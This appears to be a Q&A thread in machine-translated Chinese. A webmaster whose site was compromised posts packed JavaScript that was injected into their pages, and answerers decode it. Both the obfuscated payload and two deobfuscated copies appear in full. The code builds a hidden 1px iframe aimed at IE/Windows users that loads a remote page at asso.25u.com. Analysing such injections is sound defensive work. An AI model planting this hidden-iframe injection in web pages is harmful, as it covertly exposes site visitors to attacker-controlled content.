2011-10-14 43 views
2

最近我是一個網絡攻擊的受害者,似乎需要各種PHP服務器變量,然後將它們轉發到攻擊者網站。 (訪問者/網站的IP,引用者,用戶等等)然後,它將獲得它發送URL請求的文件,並將其回傳()給源代碼。注入網站的JavaScript代碼:你能幫我解密嗎?

我知道你會得到很多這樣的請求(主要是因爲窮人的XSS嘗試),但我真的很感謝這裏的一些幫助,因爲我對JS沒有太多的經驗。我花了幾個小時PHP的解讀在它的所作所爲的身影,並通過一些虛擬的信息後,它返回的(這是正在呼應成源)

<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{})) 

謝謝您的時間,耐心處理這件事。

+3

解壓縮在http://dean.edwards.name/unpacker/,然後進行讀取訪問http ://jsbeautifier.org/。 – pimvdb

+0

您是否使用過'header(「Content-Type:text/plain」);'在PHP頁面的頂部?當你知道它已經被入侵時,將你的頁面顯示爲HTML是不明智的。 –

+0

你以後如何保護你的網站(我假設的WordPress)?它似乎不知何故被允許在WP的帖子和頁面中使用

1

這是一些混淆的代碼。我反混淆它,這就是它的作用:

function MakeFrameEx() { 
element = document.getElementById('yahoo_api'); 
if (!element) { 
    var el = document.createElement('iframe'); 
    document.body.appendChild(el); 
    el.id = 'yahoo_api'; 
    el.style.width = '1px'; 
    el.style.height = '1px'; 
    el.style.display = 'none'; 
    el.src = 'http://asso.25u.com/showthread.php?t=72291731' 
    } 
} 
var ua = navigator.userAgent.toLowerCase(); 
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua 
    .indexOf("webtv") == -1)) 
    && ua.indexOf("windows") != -1) { 
var t = setTimeout("MakeFrameEx()", 500) 
} 
-1

這裏是模糊化的JavaScript代碼:

function MakeFrameEx() 
{ 
    element=document.getElementById('yahoo_api'); 
    if(!element) 
    { 
    var el=document.createElement('iframe'); 
    document.body.appendChild(el); 
    el.id='yahoo_api'; 
    el.style.width='1px'; 
    el.style.height='1px'; 
    el.style.display='none'; 
    el.src='http://asso.25u.com/showthread.php?t=72291731' 
    } 
} 
var ua=navigator.userAgent.toLowerCase(); 
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1) 
{ 
var t=setTimeout("MakeFrameEx()",500)}